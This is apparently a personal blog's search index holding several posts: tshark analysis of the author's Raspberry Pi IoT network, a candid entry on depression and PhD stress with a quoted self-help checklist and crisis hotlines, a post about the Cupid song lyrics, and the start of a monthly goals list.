[ASSURED] mark=0 use=1 ipv4 2 udp 17 23 src=192.168.50.104 dst=255.255.255.255 sport=21112 dport=20002 [UNREPLIED] src=255.255.255.255 dst=192.168.50.104 sport=20002 dport=21112 mark=0 use=1 ipv4 2 udp 17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=40234 mark=0 use=1 ipv4 2 udp 17 10 src=10.172.71.98 dst=10.172.64.1 sport=34331 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=34331 mark=0 use=1 ipv4 2 tcp 6 431975 ESTABLISHED src=10.172.71.98 dst=192.200.0.115 sport=48100 dport=443 src=192.200.0.115 dst=10.172.71.98 sport=443 dport=48100 [ASSURED] mark=0 use=1 ipv4 2 tcp 6 431999 ESTABLISHED src=10.172.71.98 dst=176.58.93.154 sport=58128 dport=443 src=176.58.93.154 dst=10.172.71.98 sport=443 dport=58128 [ASSURED] mark=0 use=1 ipv4 2 tcp 6 431997 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55515 dport=49154 src=192.168.50.202 dst=192.168.50.1 sport=49154 dport=55515 [ASSURED] mark=0 use=1 ipv4 2 tcp 6 118 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49708 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49708 [ASSURED] mark=0 use=1 5) Part of Raw packet capture What’s inside? tshark -r iot_ap_120s.pcap -q -z io,stat,60 ================================== | IO Statistics | | | | Duration: 119.773534 secs | | Interval: 60 secs | | | | Col 1: Frames and bytes | |--------------------------------| | |1 | | Interval | Frames | Bytes | |--------------------------------| | 0 \u0026lt;\u0026gt; 60 | 400 | 60449 | | 60 \u0026lt;\u0026gt; Dur | 24672 | 30179911 | ================================== Protocol hierarchy (what kinds of traffic?) ❯ tshark -r iot_ap_120s.pcap -q -z io,phs =================================================================== Protocol Hierarchy Statistics Filter: eth frames:25072 bytes:30240360 ip frames:24706 bytes:30195993 udp frames:349 bytes:94583 mdns frames:241 bytes:60693 data frames:32 bytes:2240 quic frames:76 bytes:31650 quic frames:2 bytes:2484 tcp frames:24353 bytes:30101226 tls frames:2413 bytes:3493680 tcp.segments frames:2256 bytes:3378795 tls frames:2222 bytes:3353799 data frames:147 bytes:71717 tcp.segments frames:5 bytes:7550 igmp frames:4 bytes:184 arp frames:150 bytes:6300 ipv6 frames:216 bytes:38067 icmpv6 frames:124 bytes:10704 udp frames:79 bytes:25415 data frames:2 bytes:132 mdns frames:77 bytes:25283 tcp frames:13 bytes:1948 data frames:1 bytes:90 =================================================================== Top IP conversations (who talked to whom?) ❯ tshark -r iot_ap_120s.pcap -q -z conv,ip ================================================================================ IPv4 Conversations Filter:\u0026lt;No Filter\u0026gt; | \u0026lt;- | | -\u0026gt; | | Total | Relative | Duration | | Frames Bytes | | Frames Bytes | | Frames Bytes | Start | | 192.168.50.202 \u0026lt;-\u0026gt; 17.253.37.195 19588 29 MB 3912 286 kB 23500 29 MB 72.555738000 21.8560 192.168.50.1 \u0026lt;-\u0026gt; 192.168.50.202 239 74 kB 238 46 kB 477 120 kB 0.293866000 119.4797 192.168.50.1 \u0026lt;-\u0026gt; 224.0.0.251 0 0 bytes 118 28 kB 118 28 kB 0.000000000 119.7310 192.168.50.202 \u0026lt;-\u0026gt; 1.1.1.1 40 20 kB 36 10 kB 76 31 kB 72.033321000 30.3367 192.168.50.202 \u0026lt;-\u0026gt; 2.19.120.151 47 44 kB 29 8,460 bytes 76 53 kB 72.062807000 14.8525 192.168.50.202 \u0026lt;-\u0026gt; 17.56.138.35 27 7,602 bytes 33 13 kB 60 20 kB 72.107270000 15.0196 192.168.50.202 \u0026lt;-\u0026gt; 17.253.53.203 17 7,040 bytes 23 9,256 bytes 40 16 kB 72.326823000 10.5130 192.168.50.202 \u0026lt;-\u0026gt; 54.217.122.41 19 6,271 bytes 18 6,122 bytes 37 12 kB 102.352119000 0.3678 192.168.50.202 \u0026lt;-\u0026gt; 17.253.53.202 19 22 kB 17 3,099 bytes 36 25 kB 81.940717000 0.3208 192.168.50.202 \u0026lt;-\u0026gt; 23.58.105.122 19 9,936 bytes 16 5,759 bytes 35 15 kB 72.225431000 9.6434 192.168.50.104 \u0026lt;-\u0026gt; 255.255.255.255 0 0 bytes 32 2,240 bytes 32 2,240 bytes 50.628126000 65.2664 17.242.218.132 \u0026lt;-\u0026gt; 192.168.50.202 12 1,701 bytes 13 1,802 bytes 25 3,503 bytes 20.967857000 62.0463 192.168.50.189 \u0026lt;-\u0026gt; 3.122.71.119 8 639 bytes 13 978 bytes 21 1,617 bytes 1.112174000 108.8174 192.168.50.131 \u0026lt;-\u0026gt; 224.0.0.251 0 0 bytes 20 6,092 bytes 20 6,092 bytes 19.033978000 79.6932 192.168.50.118 \u0026lt;-\u0026gt; 224.0.0.251 0 0 bytes 20 6,092 bytes 20 6,092 bytes 79.030835000 19.7664 192.168.50.233 \u0026lt;-\u0026gt; 224.0.0.251 0 0 bytes 20 6,052 bytes 20 6,052 bytes 79.031250000 19.7814 192.168.50.196 \u0026lt;-\u0026gt; 18.196.19.65 8 570 bytes 10 678 bytes 18 1,248 bytes 4.963201000 107.5242 192.168.50.216 \u0026lt;-\u0026gt; 224.0.0.251 0 0 bytes 12 3,880 bytes 12 3,880 bytes 98.049857000 4.2949 192.168.50.134 \u0026lt;-\u0026gt; 161.117.178.131 5 391 bytes 4 960 bytes 9 1,351 bytes 15.392290000 60.5936 192.168.50.202 \u0026lt;-\u0026gt; 192.168.50.189 4 1,300 bytes 4 312 bytes 8 1,612 bytes 26.274469000 93.2919 192.168.50.202 \u0026lt;-\u0026gt; 192.168.50.118 2 406 bytes 4 402 bytes 6 808 bytes 17.999757000 60.1593 192.168.50.202 \u0026lt;-\u0026gt; 192.168.50.131 2 406 bytes 4 402 bytes 6 808 bytes 17.999812000 60.1593 192.168.50.202 \u0026lt;-\u0026gt; 192.168.50.233 2 406 bytes 4 402 bytes 6 808 bytes 17.999825000 60.1592 192.168.50.202 \u0026lt;-\u0026gt; 192.168.50.196 3 975 bytes 3 234 bytes 6 1,209 bytes 30.223646000 89.3442 192.168.50.216 \u0026lt;-\u0026gt; 192.168.50.233 4 888 bytes 2 162 bytes 6 1,050 bytes 98.322145000 0.1456 192.168.50.216 \u0026lt;-\u0026gt; 192.168.50.202 1 1,092 bytes 4 336 bytes 5 1,428 bytes 98.319211000 0.2939 192.168.50.216 \u0026lt;-\u0026gt; 192.168.50.1 0 0 bytes 5 455 bytes 5 455 bytes 98.319329000 0.2505 192.168.50.202 \u0026lt;-\u0026gt; 17.253.53.201 2 148 bytes 2 132 bytes 4 280 bytes 81.716483000 1.0465 192.168.50.202 \u0026lt;-\u0026gt; 192.168.50.104 2 818 bytes 2 156 bytes 4 974 bytes 87.030561000 0.0107 192.168.50.216 \u0026lt;-\u0026gt; 192.168.50.131 3 718 bytes 1 75 bytes 4 793 bytes 98.321918000 0.1421 192.168.50.216 \u0026lt;-\u0026gt; 192.168.50.118 3 718 bytes 1 75 bytes 4 793 bytes 98.322266000 0.1420 192.168.50.216 \u0026lt;-\u0026gt; 17.57.146.25 1 90 bytes 2 172 bytes 3 262 bytes 98.048979000 0.0384 192.168.50.216 \u0026lt;-\u0026gt; 192.168.50.134 2 790 bytes 1 75 bytes 3 865 bytes 98.321779000 0.2550 192.168.50.216 \u0026lt;-\u0026gt; 224.0.0.2 0 0 bytes 2 92 bytes 2 92 bytes 98.049757000 0.0001 192.168.50.216 \u0026lt;-\u0026gt; 10.172.72.196 1 66 bytes 1 70 bytes 2 136 bytes 98.664295000 0.0060 ================================================================================ Fast “top talkers” table (by source IP) ❯ tshark -r iot_ap_120s.pcap -T fields -e ip.src -e frame.len \\ | awk \u0026#39;NF==2{b[$1]+=$2} END{for (h in b) printf \u0026#34;%-16s %12d\\n\u0026#34;, h, b[h]}\u0026#39; \\ | sort -k2,2nr | head -n 20 17.253.37.195 29540349 192.168.50.202 422414 192.168.50.1 75521 2.19.120.151 44554 17.253.53.202 22016 1.1.1.1 20675 23.58.105.122 9936 17.56.138.35 7602 192.168.50.233 7346 192.168.50.118 7216 192.168.50.131 7216 17.253.53.203 7040 54.217.122.41 6271 192.168.50.216 5392 192.168.50.104 3058 192.168.50.189 2278 17.242.218.132 1802 192.168.50.134 1750 192.168.50.196 1653 3.122.71.119 639 DNS \u0026amp; mDNS highlights (what names show up?) # DNS queries (unicast) ❯ tshark -r iot_ap_120s.pcap -Y \u0026#34;dns.flags.response==0\u0026#34; \\ -T fields -e frame.time -e ip.src -e dns.qry.name | head -n 20 Nov 23, 2025 11:48:38.131162000 CET\t192.168.50.1\t_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local Nov 23, 2025 11:48:42.961690000 CET\t192.168.50.1\t_hap._tcp.local Nov 23, 2025 11:48:42.962245000 CET\t192.168.50.1\t_companion-link._tcp.local Nov 23, 2025 11:48:42.962911000 CET\t192.168.50.1\t_hap._udp.local,_rdlink._tcp.local Nov 23, 2025 11:48:43.098378000 CET\t192.168.50.1\tMSS110-f691._hap._tcp.local Nov 23, 2025 11:48:43.158641000 CET\t192.168.50.1\tQingping Air Monitor Lite._hap._tcp.local Nov 23, 2025 11:48:43.201440000 CET\t192.168.50.202\t_companion-link._tcp.local Nov 23, 2025 11:48:43.532623000 CET\t192.168.50.1\tMSS110-080d._hap._tcp.local Nov 23, 2025 11:48:43.962673000 CET\t192.168.50.1\t_hap._tcp.local,MSS110-0ba7._hap._tcp.local,Main Bedroom (3)._companion-link._tcp.local,HomePodSensor 185277._hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local Nov 23, 2025 11:48:49.110167000 CET\t192.168.50.1\t_hap._tcp.local Nov 23, 2025 11:48:49.110760000 CET\t192.168.50.1\t_companion-link._tcp.local Nov 23, 2025 11:48:49.111395000 CET\t192.168.50.1\t_hap._udp.local,_rdlink._tcp.local Nov 23, 2025 11:48:49.272920000 CET\t192.168.50.1\tQingping Air Monitor Lite._hap._tcp.local Nov 23, 2025 11:48:49.311002000 CET\t192.168.50.1\tMSS110-0ba7._hap._tcp.local Nov 23, 2025 11:48:49.619376000 CET\t192.168.50.1\tMain Bedroom (3)._companion-link._tcp.local,MSS110-f691._hap._tcp.local,MSS110-080d._hap._tcp.local,HomePodSensor 185277._hap._tcp.local Nov 23, 2025 11:48:50.115506000 CET\t192.168.50.1\t_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local Nov 23, 2025 11:48:55.037844000 CET\t192.168.50.1\t_hap._tcp.local Nov 23, 2025 11:48:55.038380000 CET\t192.168.50.1\t_companion-link._tcp.local Nov 23, 2025 11:48:55.038926000 CET\t192.168.50.1\t_hap._udp.local,_rdlink._tcp.local Nov 23, 2025 11:48:55.060503000 CET\t192.168.50.202\t_companion-link._tcp.local # mDNS service announcements (AirPlay/HomeKit live here) ❯ tshark -r iot_ap_120s.pcap -Y \u0026#34;udp.port==5353 \u0026amp;\u0026amp; dns\u0026#34; \\ -T fields -e frame.time -e ip.src -e dns.qry.name -e dns.ptr.domain_name \\ | head -n 30 The latter had no output as I wasn\u0026rsquo;t able to make that work with a static route and relied on Tailscale. (?)\nTLS SNI (which cloud endpoints?) ❯ tshark -r iot_ap_120s.pcap -Y \u0026#34;tls.handshake.extensions_server_name\u0026#34; \\ -T fields -e ip.dst -e tls.handshake.extensions_server_name \\ | sort | uniq -c | sort -k1,1nr | head -n 20 1 1.1.1.1\tone.one.one.one 1 17.253.37.195\tstreamingaudio.itunes.apple.com 1 17.253.53.202\tpancake.apple.com 1 17.253.53.203\tradio-activity.itunes.apple.com 1 17.56.138.35\tcma.itunes.apple.com 1 2.19.120.151\tplay.itunes.apple.com 1 23.58.105.122\tlibrarydaap.itunes.apple.com 1 54.217.122.41\tguzzoni.apple.com Ports in use (quick heat check) ❯ tshark -r iot_ap_120s.pcap -T fields -e _ws.col.Protocol -e tcp.dstport -e udp.dstport \\ | awk \u0026#39;{for(i=1;i\u0026lt;=NF;i++) if($i~/^[0-9]+$/) p[$i]++} END{for(k in p) printf \u0026#34;%-8s %8d\\n\u0026#34;, k, p[k]}\u0026#39; \\ | sort -k2,2nr | head -n 20 64725 19588 443 4086 5353 318 49395 109 7000 109 55514 102 55510 101 64721 47 54806 40 20002 32 64722 27 8883 23 49154 21 55515 21 64723 19 64728 19 64729 19 5223 14 64724 14 64686 13 Epilogue I\u0026rsquo;ve been having so so much trouble with setting up a iot-hub for my house where I can connect all my IoT devices to, and without putting a phone on hotspot. Now I finally did it, and I even treated myself by allowing mDNS routing! Let\u0026rsquo;s cross our fingers and hope this setup finally works nicely.\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM jSr4mxAAr6wizjfSiJPTCywZaFD7DpF1QqVL5N2r7\u0026#43;W6iPkxjXU5ju4yaRyJ3LGP ob51GUAPqSstrTZUJRIQs54MQMqL0WNBiesVSDXlT\u0026#43;cqAgRVN4SaYrRg\u0026#43;dV\u0026#43;kRCA dnFuXXJBvo9y/QYk\u0026#43;SR4F2I9SeqsOQ2V0H2SxndLQAVI318VRbJLwaZF5XHLU8Ax a/\u0026#43;sOpjI2bGgTCW6P2r97PaXyde9Itkdp0LBN2JfkXfmzdY1JdjPdaNmUZuY3N6J HO4MfBUYX33RLmq/CSDm5wzOQRi1O9wt63CWJzzsZuZACbmuJ0gZHYM5JIBHXtnZ wgdtfu31ulnFPVfoIVjCCcN80kWlh671ONKQTZOysknFonm5pIUJnOcCQ4S3HfIm Of5kojUQegInp84ju4yYKCMh115yB05XTyrhf62NouGQVGSBmNBwgFZe4kbfqZ4w xsAfFOpk6niLqZTX1NmgaXeBcalFU2yOzIEH4dXu7OSZmN3UUznAxw4SciD0\u0026#43;HW\u0026#43; T7RjrniAIgX3fFlqIexoDbCa6T2g8Gd00zBzHG65pO4mwAuFL4KB0xLU8KIz6L7M aMFcFVAuq8GdqBbn6mRQ3UwFkOIjq\u0026#43;WbAgvxDJprxI9jBafm6IVXrISyHx0mYfnP OAFDAL768GiHQz7LIB/lLa0qAT6Hs28JZ3/czfGPwVNthFp8tA0= =bk46 -----END PGP SIGNATURE----- Verify locally:\ncurl -fSLO https://blog.alipour.eu/sources/posts/house_upgrade.md curl -fSLO https://blog.alipour.eu/sources/posts/house_upgrade.md.asc gpg --verify house_upgrade.md.asc house_upgrade.md ","permalink":"https://blog.alipour.eu/posts/house_upgrade/","summary":"\u003ch2 id=\"the-day-my-wi-fi-said-eight-is-enough\"\u003eThe Day My Wi-Fi Said “Eight Is Enough”\u003c/h2\u003e\n\u003cp\u003eMy apartment Wi-Fi (ASK4) has a hard cap of \u003cstrong\u003e8 devices\u003c/strong\u003e. That’s adorable until you own a phone, a laptop, a tablet, a TV, a smart speaker, and even a couple of smart plugs. My solution: put \u003cstrong\u003eall the IoT stuff behind a Raspberry Pi\u003c/strong\u003e that shows up as \u003cstrong\u003eone\u003c/strong\u003e device to the building’s network, but acts like a full-blown Wi-Fi for everything else I own.\u003c/p\u003e","title":"I Beat My 8-Device Wi-Fi Limit with a Raspberry Pi (and Made an IoT Village)"},{"content":"It all started after I came back from my trip to Turkey. I was actually doing really good the first three weeks, or at least I think so. Actually, looking back at it, I maybe wasn\u0026rsquo;t. Well I had to take like two exams and studied for them, but that was also not good enough. I have not really been able to focus on my work and studies lately. I\u0026rsquo;ve been feeling more down, sad, exhausted. I\u0026rsquo;ve been wanting to stay alone at home. To rest. And then I get stressed and sad because I\u0026rsquo;m not doing anything. I get the feeling of worthlessness a lot lately. It\u0026rsquo;s exhausting.\nFunny how I loved my research, the group, the people, hanging out, trying new things. It\u0026rsquo;s just funny how everything changed all of the sudden. How I don\u0026rsquo;t feel anything anymore. How sad I\u0026rsquo;ve been. How down I\u0026rsquo;ve been. My cognitive functions, my memory and everything has been also badly damaged. It\u0026rsquo;s just horrible.\nI\u0026rsquo;ve been also overthinking about my interactions and relationships with people, how they look at me, how they judge me, how they feel about me. And for some reason I tend to care a lot. This has also been extremely exhausting to me.\nI was reading about Major Depressive Disorder (MDD) last week. I brought it up in my therapy session too. My therapist said \u0026ldquo;why do you want to label things?\u0026rdquo;.\nThis is actually a really valid question. I don\u0026rsquo;t know why, maybe because it helps me think about it less? I can put a label on it and store it somewhere in my brain? Maybe. Idk.\nThis is what I call the loop of doom. MDD. I don\u0026rsquo;t even know if I\u0026rsquo;m experiencing it or not. All I know is that things are not right, and I don\u0026rsquo;t feel well.\nNow here is the problem. You start not performing well, then you hate yourself for not performing well, then you take it harder to yourself and it doesn\u0026rsquo;t work, then you hate yourself more, and it repeats and repeats until you are completely disfunctional. Most cases that get stuck in MDD get suicidal thoughts which is horrible. Thinking about a quick relief for yourself is just forgetting the values you bring to the world.\nI\u0026rsquo;m happy that I\u0026rsquo;ve not been thinking about these things, the scary things. But this is the first thing doctors ask you. Just to make sure.\nIt\u0026rsquo;s sad because I can see it in my monthly reports, in the PhD_journey page of my blog. I can see how bad last month was, and I know this month has not been any better. It\u0026rsquo;s just scary, and sad. I know I\u0026rsquo;m losing precious time that I cannot get back. I know at some point I\u0026rsquo;m expected to deliver results that I won\u0026rsquo;t have, and I know I won\u0026rsquo;t like myself when this inevitable happens.\nI really do not know what to do. I contacted my thrapist again today to see if he can help me or not. Let me list some stuff I\u0026rsquo;ve been told to do by my brother in the meanwhile:\nGoing for short walks Doing small tasks that make me feel good idk\u0026hellip; I don\u0026rsquo;t remember anything else. ChatGPT also gave me some advice, I\u0026rsquo;ll copy it here:\n# 14‑Day Reset — Daily Checklist **Name:** _____________________ **Start date (Day 1):** ______________ **Wake time target:** ________ ### How to use (60 seconds) * Each day, check **two tiny tasks**: one **Study MRD** and one **Work/Code MRD** (≤15 min each). * Do **2 short sprints** (start at 10 min on / 2 min off). Stop when the timer ends. * Log the **evening 2‑minute check‑in** in the table (mood, sleep, meds, sprints, one win). * If no improvement by **Day 7**, escalate with your prescriber; reassess again on **Day 14**. ### Define today’s Minimum Reliable Dose (MRD) *(Write clear, tiny actions with a start line → action → done proof.)* * **Study MRD:** ________________________________________________________________ * --- * **Work/Code MRD:** ____________________________________________________________ * --- --- ### Daily tracker (14 days) | Day/Date | Outside 10–15m | Study MRD | Work MRD | Sprints (0/1/2) | Mood 0–10 | Sleep hrs | Meds Y/N | One win / Notes | | -------------------------- | :------------: | :-------: | :------: | :-------------: | :-------: | :-------: | :------: | ------------------------------ | | 1 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | | 2 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | | 3 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | | 4 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | | 5 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | | 6 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | | **7 / ____ (Checkpoint)** | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | **PHQ‑9 today = ____** | | 8 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | | 9 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | | 10 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | | 11 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | | 12 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | | 13 / ____ | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | ______________________________ | | **14 / ____ (Checkpoint)** | ☐ | ☐ | ☐ | 0 1 2 | __ | __ | Y / N | **PHQ‑9 today = ____** | --- ### Quick reference **Paper — 12‑min read:** 3 min skim (title/abstract/figures/conclusion) → 7 min one figure + its paragraph → 2 min 3 bullets (Claim / Evidence / Open question). **Code — restart protocol:** 1. Open repo → `git status` → run tests/linter → open last‑changed file. 2. Choose **one smallest step** (≤10 min): e.g., add a failing test, reproduce a bug, rename a variable, add a log. 3. **Stuck 3‑step (2 min each):** talk it out / write exact error → minimal repro or tiny test → read one doc page. If still stuck after ~15–20 min, park it with the **next guess**. --- ### Safety net (Germany) * **Emergency:** 112 * **TelefonSeelsorge (24/7):** 0800 111 0 111 · 0800 111 0 222 · 116 123 If risk rises (can’t stay safe, intense agitation/akathisia), seek same‑day care. Lmao. I wonder how things will progress in the future, and how I\u0026rsquo;ll do. Was it really because of a failed relationship? Really? Something that never happened? I don\u0026rsquo;t believe it, it\u0026rsquo;s not possible. Or was it because I had the feeling of being used, and thrown away. Maybe if I kept contact I wouldn\u0026rsquo;tve these feelings. Maybe, just maybe.\nBut I do feel many many other bad things also happened. Like me not getting good grades in two of my courses (both of which turned out to be outliers, with one only 20% passing the course(!) and the other having a much worse average that previous exam iterations). My paper also got rejected. My research was criticized and shat on heavily. And I felt lonely a lot since I wasn\u0026rsquo;t being invited to many things other people were. I gained a lot of weight. I lost few friendships I wanted to keep. Some people I cared about started to hate me. And some of the people I considered as friends kept not including me in their plans, making me nervous that things are not right.\nDarn. That is a lot. Lot of bad things. Back to back to back.\nOk. Let\u0026rsquo;s break the loop. How can I do that? Maybe by starting new habits? By going to gym at nights? By eating healthier? By losing weight? By taking baby steps in literature review and my code? By organizing fun things with people? Idk. I really don\u0026rsquo;t. But I will figure it out and make it work. I have to. I ain\u0026rsquo;t, and I wasn\u0026rsquo;t brought up like this. Let\u0026rsquo;s fleaping go\u0026hellip;\nI try to keep ya\u0026rsquo;ll, the empty list of people, updated.\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM jSq5fw/\u0026#43;OIEZpkK2C\u0026#43;NVLDU7fRma6IMFlq/XcJIFuC416au47cTEhETuvWGMCvo1 uzwHMPamUdBUtZkK7Lk0RbzOFWo\u0026#43;ru4vtmcKe2XZoRUTUofB5\u0026#43;rPkPLz4OzoIyLX mvrCb91MbWC3pB176Ul83HBe/797QzFTsDiFw3cDtHB2yOeVY5zNejttdbwqMLyK g7lbDCDf1GqtrNRgs1KqV0T9qoOesP9yhxXN/eIbaAUc8OIPUsBMB6/LG\u0026#43;RWtycp X6iSBX30MfDo6DCpTncowKs8/4Plv30oIgsqLJlKK7Gd5IamYxtmoWeOSj15BT4n TCn/G1olSfsnREX9/rY9xipTQDO0KaQNqG7q0y4gFvAE/C5ur5G5V6TtesDTEvLv bNNrRuF/0\u0026#43;t9EOkJFvo1dCnuPLd/Ufl7BI4Yc1QErMODp6g8LoU2PRHTUJZCK9hK PgS93JpDpYhURaH1f18b1YLgpEbIAR\u0026#43;AcwTlljeU8fVicHwbH0/vP9igASAJKJC6 2JheKwf1G2pFxMYfGus1evdHbKHS44s3xNF8pITFrTeUE/1CH\u0026#43;JBWRoyCjGgNsOA XHDIDxFNuZFZYIhUk6wDhYTKrQiVATCubtBNgUaIZutL6SBzHFCxhknbBdKpFxc1 f7BJMvRa6uQco/ySzaVW8Zl14zaIXhZW1dpmitSuVDbnufkHhhU= =Cuma -----END PGP SIGNATURE----- Verify locally:\ncurl -fSLO https://blog.alipour.eu/sources/posts/loop_of_doom.md curl -fSLO https://blog.alipour.eu/sources/posts/loop_of_doom.md.asc gpg --verify loop_of_doom.md.asc loop_of_doom.md ","permalink":"https://blog.alipour.eu/posts/loop_of_doom/","summary":"\u003cp\u003eIt all started after I came back from my trip to Turkey. I was actually doing really good the first three weeks, or at least I think so. Actually, looking back at it, I maybe wasn\u0026rsquo;t. Well I had to take like two exams and studied for them, but that was also not good enough. I have not really been able to focus on my work and studies lately. I\u0026rsquo;ve been feeling more down, sad, exhausted. I\u0026rsquo;ve been wanting to stay alone at home. To rest. And then I get stressed and sad because I\u0026rsquo;m not doing anything. I get the feeling of worthlessness a lot lately. It\u0026rsquo;s exhausting.\u003c/p\u003e","title":"The Loop of Doom"},{"content":"The lyrics are being played in my brain day and night.\n\u0026ldquo;A hopeless romantic all my life\u0026rdquo;\n\u0026ldquo;Surrounded by couples all the time\u0026rdquo;\n\u0026ldquo;I guess I should take it as a sign\u0026rdquo;\nBut\u0026hellip; \u0026ldquo;I gave a second chance to Cupid\u0026rdquo;\n\u0026ldquo;But now I\u0026rsquo;m left here feelin\u0026rsquo; stupid\u0026rdquo;\nI might\u0026rsquo;ve given more than two chances to cupid.\nBut I\u0026rsquo;m still left here felling\u0026rsquo; stupid.\n\u0026ldquo;I look for his arrows every day\u0026rdquo;\n\u0026ldquo;I guess he got lost or flew away\u0026rdquo;\nBut does it matter anymore? It shouldn\u0026rsquo;t. It really shouldn\u0026rsquo;t.\nNow all these jokes aside, today I went to Mensa with my group. When eating, I saw a group of people who I\u0026rsquo;ve been trying to hang out with, and every time they tell me they let me know to join them, but today I saw them, they hadn\u0026rsquo;t told me.\nFunny how my mind jumps to conclusions quickly. Funny how I feel left alone so quickly. Or maybe it isn\u0026rsquo;t funny, idk. What I do know however is that I\u0026rsquo;m hurt. There is a bit more to the story than that, but I don\u0026rsquo;t want to open it up. It\u0026rsquo;s way too personal to be opened.\nThe thing is, all of this is just badly affecting me. I cannot really focus on my work, and studies. Maybe I should consider doing more home office? Idk. It could be good though.\nI\u0026rsquo;ve been trying to jump from one addiction to another, just to calm my senses, just to forget, just to move on.\nI started with ordering unhealthy food from Uber, eating Tuna and Rice, skipping breakfast, watching crap on Youtube, but none of it help. I then went to thm, that has been helping a bit, but not enough.\nI need to be productive at work, I need to take care of my health, I know if I do these, I will feel better about myself and this MDD will go away. Or at least I hope.\nFor now all I know is that I\u0026rsquo;m stuck in MDD, and I cannot get out of it. I\u0026rsquo;m glad suicidal thoughs are off the table. I\u0026rsquo;m just glad. They only thing I see is darkness, but I know it will change. The sun will rise. That reminds me, is the wind rising? No? Yes? If so, we need to live.\nI think this is just so painful to me in the sense that I don\u0026rsquo;t really have many friends that I consider as friends, and I\u0026rsquo;m being left alone from some groups that I don\u0026rsquo;t necesserially wanna be a part of. But oh well, I should not care.\nCredit: Cupid by FIFTY FIFTY\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM jSqXgxAApA2BHjsOLD5510SG/O8FGU5fI6Mh9wa\u0026#43;CzLQY5UgxMloPUPb7wt0PeUf CpBM/jHD6O86DkqppGJNAXHdt/X1bpQeMr0jfXctWijWUhiyDxY/eLId7\u0026#43;GF9IUv YFCTA4Rff7kAbczDMpb2Tj4ZGSJNCAnHtxbzRN23WHY5SX36WZr0Kg496Z/ndxNa 2RWo2WA0w9PIvb/rv77\u0026#43;fOx5g7P1Ap\u0026#43;mpFHOYAOeQ3PuHPLTSOrldEZDgr0diYMl HFzs8K0CXUJnW0KaLtfUxEsJEs9nIgoAN3m/xUWCiZEe2fbEYJ/kUArtAJLtEV3r ulcY1NPAuRWbcFdIWYQoD6N9Kxev0e6rvX5kkt3MslV4fAvIXq9TmROOd9i8d6W7 oKcf7IO8MJNs4l3\u0026#43;990pvEzu0X9IHdv7GUIf6DQQ15VG3HLBMHzaqDu5fxIGUyz1 wJj1Vd18yXkOLCNIdOkQVr5wuZida6/1V8qgMNg5mO/t0bXPvmweqwd4tCy1XErm 7d9nIEcGk9dQBuVKJUT0XVN/q3whNFeQmbaoq\u0026#43;Tl/MSNQVfwTbxBMkGxmLQwEWY9 mUD\u0026#43;FKlzeyJSaWc0MylcnbtkCQnICWw2mR33NuqPHA2RIrCy49ArrPXXPrIZqOf/ 91kzN5JeoMvwawhIt9N8\u0026#43;nPGUOs3RTy\u0026#43;qHk9L7DHhtAycdFqm/c= =sXgB -----END PGP SIGNATURE----- Verify locally:\ncurl -fSLO https://blog.alipour.eu/sources/posts/cupid.md curl -fSLO https://blog.alipour.eu/sources/posts/cupid.md.asc gpg --verify cupid.md.asc cupid.md ","permalink":"https://blog.alipour.eu/posts/cupid/","summary":"\u003cp\u003eThe lyrics are being played in my brain day and night.\u003c/p\u003e\n\u003cp\u003e\u0026ldquo;A hopeless romantic all my life\u0026rdquo;\u003c/p\u003e\n\u003cp\u003e\u0026ldquo;Surrounded by couples all the time\u0026rdquo;\u003c/p\u003e\n\u003cp\u003e\u0026ldquo;I guess I should take it as a sign\u0026rdquo;\u003c/p\u003e\n\u003cp\u003eBut\u0026hellip; \u0026ldquo;I gave a second chance to Cupid\u0026rdquo;\u003c/p\u003e\n\u003cp\u003e\u0026ldquo;But now I\u0026rsquo;m left here feelin\u0026rsquo; stupid\u0026rdquo;\u003c/p\u003e\n\u003cp\u003eI might\u0026rsquo;ve given more than two chances to cupid.\u003c/p\u003e\n\u003cp\u003eBut I\u0026rsquo;m still left here felling\u0026rsquo; stupid.\u003c/p\u003e\n\u003cp\u003e\u0026ldquo;I look for his arrows every day\u0026rdquo;\u003c/p\u003e","title":"Cupid is so dumb"},{"content":"1st Ok, let\u0026rsquo;s start the month by declareing some goals and agendas.\nWhat do I want to do this month?\nFinish previous semester. Pick the last of the course work for my prep phase. Finalize the CoNEXT student workshop paper. Finish my second RIL. Start my 3rd and last RIL. Learn more Go to become more comfortable with it, but how 